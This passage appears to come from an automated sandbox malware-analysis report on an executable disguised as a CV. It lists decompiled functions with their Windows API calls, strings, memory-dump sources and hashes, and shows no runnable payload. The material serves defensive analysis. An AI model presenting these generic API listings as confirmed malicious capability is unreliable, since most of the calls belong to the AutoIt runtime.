                                                                          • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 005FB7B0
                                                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 005FB7C1
                                                                          • CharNextW.USER32(0000014E), ref: 005FB7F0
                                                                          • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 005FB831
                                                                          • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 005FB847
                                                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 005FB858
                                                                          • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 005FB875
                                                                          • SetWindowTextW.USER32(?,0000014E), ref: 005FB8C7
                                                                          • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 005FB8DD
                                                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 005FB90E
                                                                          • _memset.LIBCMT ref: 005FB933
                                                                          • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 005FB97C
                                                                          • _memset.LIBCMT ref: 005FB9DB
                                                                          • SendMessageW.USER32 ref: 005FBA05
                                                                          • SendMessageW.USER32(?,00001074,?,00000001), ref: 005FBA5D
                                                                          • SendMessageW.USER32(?,0000133D,?,?), ref: 005FBB0A
                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 005FBB2C
                                                                          • GetMenuItemInfoW.USER32(?), ref: 005FBB76
                                                                          • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 005FBBA3
                                                                          • DrawMenuBar.USER32(?), ref: 005FBBB2
                                                                          • SetWindowTextW.USER32(?,0000014E), ref: 005FBBDA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                                          • String ID: 0
                                                                          • API String ID: 1073566785-4108050209
                                                                          • Opcode ID: 8ab4161fa076643bcd9611da0b2c97c60e785517d06e06ad4e94ba951acca7da
                                                                          • Instruction ID: 42d8e891e1354ffd0f0f2d4af67fa9b288be0bb265eaf655e8b3b77f6559c1a4
                                                                          • Opcode Fuzzy Hash: 8ab4161fa076643bcd9611da0b2c97c60e785517d06e06ad4e94ba951acca7da
                                                                          • Instruction Fuzzy Hash: F2E18B7490021DEBEB209FA1CC88AFE7F79FF45750F148156FA19AA290D7789A41CF60
                                                                          Function 00592EC0 Relevance: 37.1, APIs: 8, Strings: 13, Instructions: 346COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Foreground
                                                                          • String ID: ACTIVE$ALL$CLASS$H+d$HANDLE$INSTANCE$L+d$LAST$P+d$REGEXPCLASS$REGEXPTITLE$T+d$TITLE
                                                                          • API String ID: 62970417-290764439
                                                                          • Opcode ID: dffdfd28f32b88fadc2a9f31a520d99605a07415e5b792aa31c90565b78c6e04
                                                                          • Instruction ID: 2c0c8451acc3b13d04e5029de8b2540388808ace7953ac6f9e01423362faeaa5
                                                                          • Opcode Fuzzy Hash: dffdfd28f32b88fadc2a9f31a520d99605a07415e5b792aa31c90565b78c6e04
                                                                          • Instruction Fuzzy Hash: C7D1C630104643ABCB08EF60C4A9ADBBFB6FF94344F504919F456576A1DB30E99ACB91
                                                                          Function 005F764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCursorPos.USER32(?), ref: 005F778A
                                                                          • GetDesktopWindow.USER32 ref: 005F779F
                                                                          • GetWindowRect.USER32(00000000), ref: 005F77A6
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 005F7808
                                                                          • DestroyWindow.USER32(?), ref: 005F7834
                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 005F785D
                                                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 005F787B
                                                                          • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 005F78A1
                                                                          • SendMessageW.USER32(?,00000421,?,?), ref: 005F78B6
                                                                          • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 005F78C9
                                                                          • IsWindowVisible.USER32(?), ref: 005F78E9
                                                                          • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 005F7904
                                                                          • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 005F7918
                                                                          • GetWindowRect.USER32(?,?), ref: 005F7930
                                                                          • MonitorFromPoint.USER32(?,?,00000002), ref: 005F7956
                                                                          • GetMonitorInfoW.USER32 ref: 005F7970
                                                                          • CopyRect.USER32(?,?), ref: 005F7987
                                                                          • SendMessageW.USER32(?,00000412,00000000), ref: 005F79F2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                          • String ID: ($0$tooltips_class32
                                                                          • API String ID: 698492251-4156429822
                                                                          • Opcode ID: 3fe4ae75059b30ad4b91333304b72a1bd64fd5822bd8dd59b160d722b3008f13
                                                                          • Instruction ID: 175daaa07e75dff3987471686ab78acb233e8fd0dd2c0371305340883774615c
                                                                          • Opcode Fuzzy Hash: 3fe4ae75059b30ad4b91333304b72a1bd64fd5822bd8dd59b160d722b3008f13
                                                                          • Instruction Fuzzy Hash: 5AB19E71608305AFDB04DF64C949B6ABFE5FF88310F04891DF6999B291DB74E804CBA6
                                                                          Function 005D6CE9 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFileVersionInfoSizeW.VERSION(?,?), ref: 005D6CFB
                                                                          • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 005D6D21
                                                                          • _wcscpy.LIBCMT ref: 005D6D4F
                                                                          • _wcscmp.LIBCMT ref: 005D6D5A
                                                                          • _wcscat.LIBCMT ref: 005D6D70
                                                                          • _wcsstr.LIBCMT ref: 005D6D7B
                                                                          • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 005D6D97
                                                                          • _wcscat.LIBCMT ref: 005D6DE0
                                                                          • _wcscat.LIBCMT ref: 005D6DE7
                                                                          • _wcsncpy.LIBCMT ref: 005D6E12
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                          • API String ID: 699586101-1459072770
                                                                          • Opcode ID: 0198f2ec69ba9825778ce3a87230d9425ee2b79212a5e409bcd75e57636eeb4e
                                                                          • Instruction ID: 57dcbf5adf18849f6a10561e954c932d5e32bd95321f25bd2054f1abbc968016
                                                                          • Opcode Fuzzy Hash: 0198f2ec69ba9825778ce3a87230d9425ee2b79212a5e409bcd75e57636eeb4e
                                                                          • Instruction Fuzzy Hash: D141C771A002127BEB10BB64DC4BEFF7F7DFF85710F040416F901A6282EB74AA0596A5
                                                                          Function 005AA856 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005AA939
                                                                          • GetSystemMetrics.USER32(00000007), ref: 005AA941
                                                                          • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005AA96C
                                                                          • GetSystemMetrics.USER32(00000008), ref: 005AA974
                                                                          • GetSystemMetrics.USER32(00000004), ref: 005AA999
                                                                          • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 005AA9B6
                                                                          • AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 005AA9C6
                                                                          • CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 005AA9F9
                                                                          • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 005AAA0D
                                                                          • GetClientRect.USER32(00000000,000000FF), ref: 005AAA2B
                                                                          • GetStockObject.GDI32(00000011), ref: 005AAA47
                                                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 005AAA52
                                                                            • Part of subcall function 005AB63C: GetCursorPos.USER32(000000FF), ref: 005AB64F
                                                                            • Part of subcall function 005AB63C: ScreenToClient.USER32(00000000,000000FF), ref: 005AB66C
                                                                            • Part of subcall function 005AB63C: GetAsyncKeyState.USER32(00000001), ref: 005AB691
                                                                            • Part of subcall function 005AB63C: GetAsyncKeyState.USER32(00000002), ref: 005AB69F
                                                                          • SetTimer.USER32(00000000,00000000,00000028,005AAB87), ref: 005AAA79
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                          • String ID: AutoIt v3 GUI
                                                                          • API String ID: 1458621304-248962490
                                                                          • Opcode ID: 00f785d8c25b4d7aaeb92d6d1b352af1ec5e2cbea6b3153c283464f38b1b22fc
                                                                          • Instruction ID: baa2844896a377608b3c7948cb9693431695aa1993d8341e26c2ed6ccb615cca
                                                                          • Opcode Fuzzy Hash: 00f785d8c25b4d7aaeb92d6d1b352af1ec5e2cbea6b3153c283464f38b1b22fc
                                                                          • Instruction Fuzzy Hash: 3AB1BC71A4020AAFDB14DFA8DC49BEE7BB6FB09311F154219FA15AB2D0DB34D840CB51
                                                                          Function 005F3639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005F3735
                                                                          • RegCreateKeyExW.ADVAPI32(?,?,00000000,0062DC00,00000000,?,00000000,?,?), ref: 005F37A3
                                                                          • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 005F37EB
                                                                          • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 005F3874
                                                                          • RegCloseKey.ADVAPI32(?), ref: 005F3B94
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 005F3BA1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Close$ConnectCreateRegistryValue
                                                                          • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                          • API String ID: 536824911-966354055
                                                                          • Opcode ID: d090ac663459e74a1473bb946c77b17734ca14e31901b2280cc68c6693ca6f62
                                                                          • Instruction ID: 3ec5a881bab16c396220653e427bd20dfd8be93503a6229075797ba913bdaecf
                                                                          • Opcode Fuzzy Hash: d090ac663459e74a1473bb946c77b17734ca14e31901b2280cc68c6693ca6f62
                                                                          • Instruction Fuzzy Hash: C8025F752046029FDB14EF28C855A2EBBE5FF89720F05885DF9899B3A1DB35ED01CB81
                                                                          Function 005F6BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharUpperBuffW.USER32(?,?), ref: 005F6C56
                                                                          • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 005F6D16
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharMessageSendUpper
                                                                          • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                                          • API String ID: 3974292440-719923060
                                                                          • Opcode ID: d25b8bc6fb4932f1b1f2e4c789a633521c6f0c966e52189adc8108a734a1eb49
                                                                          • Instruction ID: c88add4dd7cf82b311c8de5734eed6d823c2eff67ce51f75c93405d28bb4e7e6
                                                                          • Opcode Fuzzy Hash: d25b8bc6fb4932f1b1f2e4c789a633521c6f0c966e52189adc8108a734a1eb49
                                                                          • Instruction Fuzzy Hash: 11A18C342042469FCB14EF24C856A7EBFA6BF85360F10496DBA969B392DB34EC05CB51
                                                                          Function 005CCF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 005CCF91
                                                                          • __swprintf.LIBCMT ref: 005CD032
                                                                          • _wcscmp.LIBCMT ref: 005CD045
                                                                          • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 005CD09A
                                                                          • _wcscmp.LIBCMT ref: 005CD0D6
                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 005CD10D
                                                                          • GetDlgCtrlID.USER32(?), ref: 005CD15F
                                                                          • GetWindowRect.USER32(?,?), ref: 005CD195
                                                                          • GetParent.USER32(?), ref: 005CD1B3
                                                                          • ScreenToClient.USER32(00000000), ref: 005CD1BA
                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 005CD234
                                                                          • _wcscmp.LIBCMT ref: 005CD248
                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 005CD26E
                                                                          • _wcscmp.LIBCMT ref: 005CD282
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
                                                                          • String ID: %s%u
                                                                          • API String ID: 3119225716-679674701
                                                                          • Opcode ID: 7e3500e87efbb7062703d9cc08787f68c3bb526c5190fc51bc5e46d6ecce03b3
                                                                          • Instruction ID: 3f35d7f9f3a1049e71d91b15ef384379c2297b686a6d68aa07a1ca16935a4349
                                                                          • Opcode Fuzzy Hash: 7e3500e87efbb7062703d9cc08787f68c3bb526c5190fc51bc5e46d6ecce03b3
                                                                          • Instruction Fuzzy Hash: 09A1E371604706AFD715DFA4C888FEABBA9FF44340F00852EF999D2180DB30EA05CBA1
                                                                          Function 005CD8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClassNameW.USER32(00000008,?,00000400), ref: 005CD8EB
                                                                          • _wcscmp.LIBCMT ref: 005CD8FC
                                                                          • GetWindowTextW.USER32(00000001,?,00000400), ref: 005CD924
                                                                          • CharUpperBuffW.USER32(?,00000000), ref: 005CD941
                                                                          • _wcscmp.LIBCMT ref: 005CD95F
                                                                          • _wcsstr.LIBCMT ref: 005CD970
                                                                          • GetClassNameW.USER32(00000018,?,00000400), ref: 005CD9A8
                                                                          • _wcscmp.LIBCMT ref: 005CD9B8
                                                                          • GetWindowTextW.USER32(00000002,?,00000400), ref: 005CD9DF
                                                                          • GetClassNameW.USER32(00000018,?,00000400), ref: 005CDA28
                                                                          • _wcscmp.LIBCMT ref: 005CDA38
                                                                          • GetClassNameW.USER32(00000010,?,00000400), ref: 005CDA60
                                                                          • GetWindowRect.USER32(00000004,?), ref: 005CDAC9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                                          • String ID: @$ThumbnailClass
                                                                          • API String ID: 1788623398-1539354611
                                                                          • Opcode ID: fa4cdb563447d3f4248b0ed1561d38f070603f221b3192c755570db683910553
                                                                          • Instruction ID: 585783c22fcb0bb333aeb87178b72ba6e74eed89b4eb2cbcd013eba8e2d3e7bd
                                                                          • Opcode Fuzzy Hash: fa4cdb563447d3f4248b0ed1561d38f070603f221b3192c755570db683910553
                                                                          • Instruction Fuzzy Hash: 97815B310082469FDB15DE94C885FAA7FA8FF84718F04846EFD89DA096DB30ED45CBA1
                                                                          Function 005CD6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsnicmp
                                                                          • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                          • API String ID: 1038674560-1810252412
                                                                          • Opcode ID: eb57cf3ee6cb2c586328a3bfa5de0e5c2e1de1118a4a38e051b74c05beb5585f
                                                                          • Instruction ID: 09877319b5d89f210937f5bad7f38acdee44b0b89291f00783589fbbc6cf82ce
                                                                          • Opcode Fuzzy Hash: eb57cf3ee6cb2c586328a3bfa5de0e5c2e1de1118a4a38e051b74c05beb5585f
                                                                          • Instruction Fuzzy Hash: 0A317C31A44207AADF15EA90DDA7FEEBBB6FF60704FB00029F441B10D1EB61AA04C661
                                                                          Function 005CEA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadIconW.USER32(00000063), ref: 005CEAB0
                                                                          • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 005CEAC2
                                                                          • SetWindowTextW.USER32(?,?), ref: 005CEAD9
                                                                          • GetDlgItem.USER32(?,000003EA), ref: 005CEAEE
                                                                          • SetWindowTextW.USER32(00000000,?), ref: 005CEAF4
                                                                          • GetDlgItem.USER32(?,000003E9), ref: 005CEB04
                                                                          • SetWindowTextW.USER32(00000000,?), ref: 005CEB0A
                                                                          • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 005CEB2B
                                                                          • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 005CEB45
                                                                          • GetWindowRect.USER32(?,?), ref: 005CEB4E
                                                                          • SetWindowTextW.USER32(?,?), ref: 005CEBB9
                                                                          • GetDesktopWindow.USER32 ref: 005CEBBF
                                                                          • GetWindowRect.USER32(00000000), ref: 005CEBC6
                                                                          • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 005CEC12
                                                                          • GetClientRect.USER32(?,?), ref: 005CEC1F
                                                                          • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 005CEC44
                                                                          • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 005CEC6F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                          • String ID:
                                                                          • API String ID: 3869813825-0
                                                                          • Opcode ID: 3a45ddbf32946c908b12fef8e7a193209e33b62078205ccd3eebb5eecb6fd98f
                                                                          • Instruction ID: efc488e27165980aca0d66372f4fcbcf3924804cbd886a12359ecddf1848001c
                                                                          • Opcode Fuzzy Hash: 3a45ddbf32946c908b12fef8e7a193209e33b62078205ccd3eebb5eecb6fd98f
                                                                          • Instruction Fuzzy Hash: A8512C71900709AFDB21DFA8CD8AFAEBBB6FF04709F00491DE596A25A0D774A944CB50
                                                                          Function 005E79B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 005E79C6
                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 005E79D1
                                                                          • LoadCursorW.USER32(00000000,00007F03), ref: 005E79DC
                                                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 005E79E7
                                                                          • LoadCursorW.USER32(00000000,00007F01), ref: 005E79F2
                                                                          • LoadCursorW.USER32(00000000,00007F81), ref: 005E79FD
                                                                          • LoadCursorW.USER32(00000000,00007F88), ref: 005E7A08
                                                                          • LoadCursorW.USER32(00000000,00007F80), ref: 005E7A13
                                                                          • LoadCursorW.USER32(00000000,00007F86), ref: 005E7A1E
                                                                          • LoadCursorW.USER32(00000000,00007F83), ref: 005E7A29
                                                                          • LoadCursorW.USER32(00000000,00007F85), ref: 005E7A34
                                                                          • LoadCursorW.USER32(00000000,00007F82), ref: 005E7A3F
                                                                          • LoadCursorW.USER32(00000000,00007F84), ref: 005E7A4A
                                                                          • LoadCursorW.USER32(00000000,00007F04), ref: 005E7A55
                                                                          • LoadCursorW.USER32(00000000,00007F02), ref: 005E7A60
                                                                          • LoadCursorW.USER32(00000000,00007F89), ref: 005E7A6B
                                                                          • GetCursorInfo.USER32(?), ref: 005E7A7B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
